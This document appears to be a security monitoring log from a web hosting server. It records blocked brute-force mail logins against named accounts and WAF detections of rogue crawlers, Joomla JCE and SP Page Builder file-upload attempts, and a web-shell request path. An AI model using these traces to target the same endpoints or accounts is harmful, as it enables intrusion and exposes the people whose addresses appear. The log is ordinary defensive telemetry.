abuser: 111.70.34.21
country_id: 1668284
description:
2026-07-14 22:47:34 dovecot_login authenticator failed for H=111-70-34-21.emome-ip.hinet.net (ec2-3-72-154-205.eu-central-1.compute.amazonaws.com) [111.70.34.21]:46893: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://m-care.biz/freecgi/EasyBBS/index.cgi?bid=1\">\xe2\x80\x9cH\xe1\xbb\xa3p t\xc3\xa1c x\xc3\xa3 Khuy\xe1\xba\xbfn N\xc3\xb4ng\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.158.208.139
country_id: 1668284
description:
2026-07-14 22:49:18 dovecot_login authenticator failed for H=([110.9.78.118]) [49.158.208.139]:55004: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 34.41.211.48
country_id: 6252001
description:
2026-07-14 22:49:55 dovecot_login authenticator failed for H=48.211.41.34.bc.googleusercontent.com (ipmapt-72-195-101-102.oc.oc.cox.net) [34.41.211.48]:37074: 535 Incorrect authentication data (set_id=mbt)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.253.69.229
country_id: 3077311
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://github.com/ufabetx\">https://github.com/ufabetx</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.138
country_id: 1269750
description:
2026-07-14 22:59:20 dovecot_login authenticator failed for H=([174.75.211.217]) [182.95.181.138]:35824: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 182.0.239.150
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce42tnzw01.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.202.4
country_id: 99237
description:
2026-07-14 23:06:38 dovecot_login authenticator failed for H=([65.20.179.251]) [65.20.202.4]:57444: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77209355
name: IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)
abuser: 36.65.129.241
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Script execution in com_sppagebuilder media assets - web shell (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/media/com_sppagebuilder/assets/iconfont/icofont/fonts/wraith_1784050809279.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.161.151.29
country_id: 1562822
description:
2026-07-14 23:13:08 dovecot_login authenticator failed for H=(111-70-23-245.emome-ip.hinet.net) [113.161.151.29]:55502: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: modsec
rule: 77469917
name: IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)
abuser: 34.124.183.103
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: File upload on Joomla Content Editor JCE endpoint - tracking (CVE-2026-48907)||MVN:FILES:file||MV:mnbz.gif||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.167.50.229
country_id: 1835841
description:
2026-07-14 23:13:30 dovecot_login authenticator failed for H=([45.238.2.60]) [221.167.50.229]:48324: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.203.199.118
country_id: 1835841
description:
2026-07-14 23:14:41 dovecot_login authenticator failed for H=(syn-065-191-211-033.res.spectrum.com) [175.203.199.118]:27445: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77209353
abuser: 202.83.120.57
country_id: 1643084
domain: ddgalaxy.in
description:
IM360 WAF: Unauthenticated file upload / RCE in Joomla SP Page Builder asset.uploadCustomIcon (CVE-2026-48908)||MVN:REQUEST_FILENAME||MV:/administrator/index.php/index.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.181.34
country_id: 1269750
description:
2026-07-14 23:25:41 dovecot_plain authenticator failed for H=(fornes) [182.95.181.34]:58244: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 104.245.241.28
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://www.globenewswire.com/news-release/2025/05/19/3083696/0/en/Best-Offshore-Sportsbook-Why-Betwhale-is-the-Best-Option-for-Offshore-Sports-Betting.html\">penis enlargement site:reddit.com</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.163.253
country_id: 660013
description:
2026-07-14 23:30:57 dovecot_login authenticator failed for H=dsl-hkibng42-50dfa3-253.dhcp.inet.fi ([149.54.51.74]) [80.223.163.253]:44664: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.196.213.196
country_id: 1835841
description:
2026-07-14 23:30:31 dovecot_login authenticator failed for H=([121.189.198.60]) [119.196.213.196]:44822: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-14 23:32:59 dovecot_login authenticator failed for H=([67.201.33.12]) [182.78.86.62]:52216: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.212.27.150
country_id: 6252001
description:
2026-07-14 23:33:37 dovecot_login authenticator failed for H=(netcomafrica.com) [50.212.27.150]:40546: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.250.160.76
country_id: 1269750
description:
2026-07-14 23:33:49 dovecot_login authenticator failed for H=([65.20.233.110]) [103.250.160.76]:55754: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 195.222.43.138
country_id: 3277605
description:
2026-07-14 23:34:01 dovecot_login authenticator failed for H=([174.75.211.198]) [195.222.43.138]:55804: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-14 23:34:40 dovecot_login authenticator failed for H=([162.253.68.102]) [188.122.37.97]:60986: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.217.202
country_id: 1269750
description:
2026-07-14 23:34:53 dovecot_login authenticator failed for H=(117-33-61-163.wiprabroadband.in) [182.95.217.202]:56806: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.61.82
country_id: 1269750
description:
2026-07-14 23:36:20 dovecot_login authenticator failed for H=([59.152.12.212]) [182.95.61.82]:45322: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.217.40.11
country_id: 6252001
description:
2026-07-14 23:36:27 dovecot_login authenticator failed for H=(211-23-109-116.hinet-ip.hinet.net) [50.217.40.11]:59440: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.71
country_id: 1733045
description:
2026-07-14 23:36:34 dovecot_login authenticator failed for H=([123.163.52.74]) [49.124.151.71]:60394: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.80.161.172
country_id: 1835841
description:
2026-07-14 23:37:36 dovecot_login authenticator failed for H=(wsip-70-166-207-65.ph.ph.cox.net) [61.80.161.172]:35962: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.116.110
country_id: 1269750
description:
2026-07-14 23:37:43 dovecot_login authenticator failed for H=([192.111.137.33]) [122.187.116.110]:51244: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.63.34.149
country_id: 1835841
description:
2026-07-14 23:37:49 dovecot_login authenticator failed for H=(ipmapt-72-195-34-45.oc.oc.cox.net) [211.63.34.149]:57319: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.248.204.94
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/e23501687 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.156.8.97
country_id: 1835841
description:
2026-07-14 23:38:41 dovecot_login authenticator failed for H=([1.241.64.237]) [218.156.8.97]:54766: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-14 23:46:22 dovecot_login authenticator failed for H=([49.124.146.34]) [119.92.76.210]:54602: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 143.105.37.252
country_id: 878675
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/fe1782770 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.229.110
country_id: 1269750
description:
2026-07-14 23:51:33 dovecot_login authenticator failed for H=([119.152.102.54]) [182.95.229.110]:51906: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.116.9.180
country_id: 1835841
description:
2026-07-14 23:51:57 dovecot_login authenticator failed for H=([222.126.106.8]) [222.116.9.180]:43491: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.193.187.154
country_id: 1269750
description:
2026-07-14 23:56:48 dovecot_login authenticator failed for H=([101.13.5.88]) [113.193.187.154]:40614: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.153.146
country_id: 99237
description:
2026-07-14 23:57:06 dovecot_login authenticator failed for H=([195.158.26.59]) [65.20.153.146]:56525: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.50.5.94
country_id: 1269750
description:
2026-07-14 23:58:15 dovecot_login authenticator failed for H=(49.206.201.253.actcorp.in) [103.50.5.94]:47817: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.246.166
country_id: 798544
description:
2026-07-14 23:58:23 dovecot_login authenticator failed for H=89-67-246-166.dynamic.play.pl ([220.93.209.152]) [89.67.246.166]:38980: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.217.40.11
country_id: 6252001
description:
2026-07-14 23:59:01 dovecot_login authenticator failed for H=([1.227.135.186]) [50.217.40.11]:49730: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.92.76.210
country_id: 1694008
description:
2026-07-15 00:00:25 dovecot_login authenticator failed for H=([45.170.50.2]) [119.92.76.210]:38120: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 103.253.24.90
country_id: 1880251
domain: travelinbh.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceks6fx62i.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 35.192.232.168
country_id: 6252001
domain: www.metrodigitals.com
description:


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.15.31
country_id: 1269750
description:
2026-07-15 00:08:54 dovecot_login authenticator failed for H=([45.178.227.128]) [122.160.15.31]:44912: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.30.223.119
country_id: 1835841
description:
2026-07-15 00:09:24 dovecot_login authenticator failed for H=([72.37.217.1]) [114.30.223.119]:39342: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.219.193.151
country_id: 1861060
description:
2026-07-15 00:10:11 dovecot_login authenticator failed for H=l193151.ppp.asahi-net.or.jp ([219.128.15.190]) [218.219.193.151]:38090: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 168.91.173.57
country_id: 6252001
description:
2026-07-15 00:10:32 dovecot_login authenticator failed for H=168-91-173-57.s823.c3-0.eas-cbr7.atw-eas.pa.cable.rcncustomer.com ([176.119.132.230]) [168.91.173.57]:43540: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77469916
abuser: 188.119.13.22
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce2t0zruq2.xml.php||RSV:8.28||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 94.46.6.165
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 see the full list - <a href=\"https://xmrlist.com\">https://xmrlist.com</a> - (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 174.134.45.64
country_id: 6252001
description:
2026-07-15 00:20:37 dovecot_plain authenticator failed for H=(psylamoved) [174.134.45.64]:58935: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 207.254.40.89
country_id: 6252001
description:
2026-07-15 00:21:03 dovecot_login authenticator failed for H=([59.110.5.198]) [207.254.40.89]:55089: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.219.193.151
country_id: 1861060
description:
2026-07-15 00:21:22 dovecot_login authenticator failed for H=l193151.ppp.asahi-net.or.jp (nsg-corporate-206.44.185.122.airtel.in) [218.219.193.151]:37336: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.187.9.111
country_id: 298795
description:
2026-07-15 00:25:32 dovecot_login authenticator failed for H=(bc2407c4.catv.pool.telekom.hu) [78.187.9.111]:40812: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.178.174
country_id: 1269750
description:
2026-07-15 00:31:41 dovecot_login authenticator failed for H=(111-70-32-10.emome-ip.hinet.net) [182.95.178.174]:37022: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.121.255.194
country_id: 798549
description:
2026-07-15 00:32:01 dovecot_login authenticator failed for H=([98.190.239.1]) [89.121.255.194]:35479: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.219.149.74
country_id: 2328926
description:
2026-07-15 00:32:32 dovecot_login authenticator failed for H=([49.124.147.105]) [41.219.149.74]:44776: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.205.103.66
country_id: 1835841
description:
2026-07-15 00:34:34 dovecot_login authenticator failed for H=(136.151.48.116.static.netvigator.com) [175.205.103.66]:48184: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.177.134.193
country_id: 2464461
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/1d2074746 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.67.106.221
country_id: 3686110
description:
2026-07-15 00:35:08 dovecot_login authenticator failed for H=([117.158.21.113]) [190.67.106.221]:56900: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.120.115.152
country_id: 1819730
description:
2026-07-15 00:38:16 dovecot_login authenticator failed for H=n112120115152.netvigator.com ([91.86.92.45]) [112.120.115.152]:49596: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.219.210.86
country_id: 1036973
description:
2026-07-15 00:38:36 dovecot_login authenticator failed for H=(aes-static-102.79.144.59.airtel.in) [197.219.210.86]:44010: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.24.209.174
country_id: 102358
description:
2026-07-15 00:40:16 dovecot_login authenticator failed for H=([192.111.138.28]) [144.24.209.174]:57505: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.56.174.63
country_id: 3686110
description:
2026-07-15 00:41:56 dovecot_login authenticator failed for H=(wsip-184-178-172-24.rn.hr.cox.net) [181.56.174.63]:46112: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-15 00:42:17 dovecot_login authenticator failed for H=([98.181.137.69]) [117.211.15.93]:59324: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.204.74
country_id: 1269750
description:
2026-07-15 00:51:42 dovecot_login authenticator failed for H=(vps-36f1e8f3.vps.ovh.net) [125.23.204.74]:45094: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.236.211.54
country_id: 2661886
description:
2026-07-15 00:52:02 dovecot_login authenticator failed for H=81-236-211-54-no2550.tbcn.telia.com ([220.82.50.65]) [81.236.211.54]:60524: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-15 00:57:27 dovecot_login authenticator failed for H=(85-18-115-154.ip.mob-sol.it) [103.168.241.32]:46006: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.115.191.84
country_id: 1835841
description:
2026-07-15 00:56:57 dovecot_login authenticator failed for H=(cm-staticip-85-152-57-60.telecable.es) [211.115.191.84]:42863: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.246.40.63
country_id: 1819730
description:
2026-07-15 00:57:14 dovecot_login authenticator failed for H=063.40.246.220.static.netvigator.com (62.36.19.41.static.abi.uni2.es) [220.246.40.63]:42812: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.49.223.153
country_id: 3686110
description:
2026-07-15 01:01:15 dovecot_plain authenticator failed for H=(knoodinon) [181.49.223.153]:58966: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.220.90
country_id: 1269750
description:
2026-07-15 01:04:59 dovecot_login authenticator failed for H=(firewall01.practicetechnologies.ml.zerolag.com) [128.185.220.90]:55048: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.191.211.33
country_id: 6252001
description:
2026-07-15 01:05:18 dovecot_login authenticator failed for H=([103.133.175.82]) [65.191.211.33]:47388: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.91.153.26
country_id: 3077311
description:
2026-07-15 01:05:36 dovecot_login authenticator failed for H=u153-26.static.grape.cz ([218.156.8.97]) [93.91.153.26]:54007: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.206.119
country_id: 1819730
description:
2026-07-15 01:05:35 dovecot_login authenticator failed for H=([116.38.54.26]) [121.202.206.119]:55248: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.88.174
country_id: 1512440
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/7e3329777 HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.255.255.26
country_id: 2661886
description:
2026-07-15 01:04:47 dovecot_login authenticator failed for H=94-255-255-26.cust.bredband2.com ([211.223.179.252]) [94.255.255.26]:54596: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.157.13.210
country_id: 3686110
description:
2026-07-15 01:05:45 dovecot_login authenticator failed for H=([62.91.108.146]) [190.157.13.210]:48482: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.112.152
country_id: 1668284
description:
2026-07-15 01:05:55 dovecot_login authenticator failed for H=110-25-112-152.adsl.fetnet.net ([171.7.83.35]) [110.25.112.152]:44135: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.44.206
country_id: 1269750
description:
2026-07-15 01:06:20 dovecot_login authenticator failed for H=([45.181.86.72]) [122.185.44.206]:36593: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.209.100.246
country_id: 6252001
description:
2026-07-15 01:12:11 dovecot_login authenticator failed for H=(ip-142-54-226-210.hosts.zerolag.com) [74.209.100.246]:34692: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.215.125.250
country_id: 192950
description:
2026-07-15 01:12:22 dovecot_login authenticator failed for H=(karuna.divineled.com) [41.215.125.250]:36982: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.67.152.201
country_id: 1269750
description:
2026-07-15 01:12:25 dovecot_login authenticator failed for H=([184.181.217.198]) [103.67.152.201]:47844: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.81.233.35
country_id: 102358
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/sitemap755.xml HTTP/1.1||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 152.52.227.94
country_id: 1269750
description:
2026-07-15 01:12:53 dovecot_login authenticator failed for H=([49.124.153.45]) [152.52.227.94]:52712: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.192.210.110
country_id: 1835841
description:
2026-07-15 01:14:32 dovecot_login authenticator failed for H=(211-23-194-216.hinet-ip.hinet.net) [119.192.210.110]:43162: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.55.79.195
country_id: 337996
description:
2026-07-15 01:14:09 dovecot_login authenticator failed for H=(152-237-221-1.user.vtal.net.br) [213.55.79.195]:59032: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.171.95.112
country_id: 1835841
description:
2026-07-15 01:14:31 dovecot_login authenticator failed for H=([117.191.83.250]) [121.171.95.112]:56370: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.100.156.38
country_id: 1605651
description:
2026-07-15 01:14:49 dovecot_login authenticator failed for H=mail.sotus.co.th ([203.124.60.46]) [171.100.156.38]:58737: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.220.149.121
country_id: 1835841
description:
2026-07-15 01:15:18 dovecot_login authenticator failed for H=(azteca-comunicaciones.com) [118.220.149.121]:33688: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-07-15 01:19:47 dovecot_login authenticator failed for H=([179.181.135.1]) [182.95.176.122]:38230: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.83.23.169
country_id: 1168579
description:
2026-07-15 01:20:27 dovecot_login authenticator failed for H=([49.124.153.17]) [103.83.23.169]:37876: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.220.236.203
country_id: 660013
description:
2026-07-15 01:22:00 dovecot_login authenticator failed for H=([49.124.153.28]) [62.220.236.203]:58498: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.135.74.36
country_id: 6290252
description:
2026-07-15 01:22:53 dovecot_login authenticator failed for H=cable-24-135-74-36.dynamic.sbb.rs ([49.124.153.23]) [24.135.74.36]:39346: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77469916
abuser: 193.148.56.148
country_id: 732800
domain: ogocindia.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce_twlghp.xml.php||RSV:8.28||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.67.161.64
country_id: 2661886
description:
2026-07-15 01:23:06 dovecot_login authenticator failed for H=78-67-161-64-no2550.tbcn.telia.com (host-119.84.45.129.djezzycloud.dz) [78.67.161.64]:51150: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.65.154
country_id: 1269750
description:
2026-07-15 01:27:48 dovecot_login authenticator failed for H=([70.166.167.48]) [182.78.65.154]:50022: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.19.163.58
country_id: 1269750
description:
2026-07-15 01:31:24 dovecot_login authenticator failed for H=(189-108-225-38.customer.tdatabrasil.net.br) [125.19.163.58]:45564: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.120
country_id: 1668284
description:
2026-07-15 01:31:46 dovecot_login authenticator failed for H=(ip-arana.net.id.as132673) [101.13.4.120]:32880: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.195
country_id: 1668284
description:
2026-07-15 01:32:05 dovecot_login authenticator failed for H=(42-200-73-3.static.imsbiz.com) [101.13.5.195]:44890: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.79
country_id: 1733045
description:
2026-07-15 01:33:02 dovecot_login authenticator failed for H=([142.54.235.12]) [49.125.201.79]:50746: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.50
country_id: 1668284
description:
2026-07-15 01:34:07 dovecot_login authenticator failed for H=111-70-32-50.emome-ip.hinet.net ([123.163.52.74]) [111.70.32.50]:44036: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.107.172
country_id: 1668284
description:
2026-07-15 01:34:13 dovecot_login authenticator failed for H=110-25-107-172.adsl.fetnet.net (isp-31-222-7-68.saowifi.net) [110.25.107.172]:52590: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
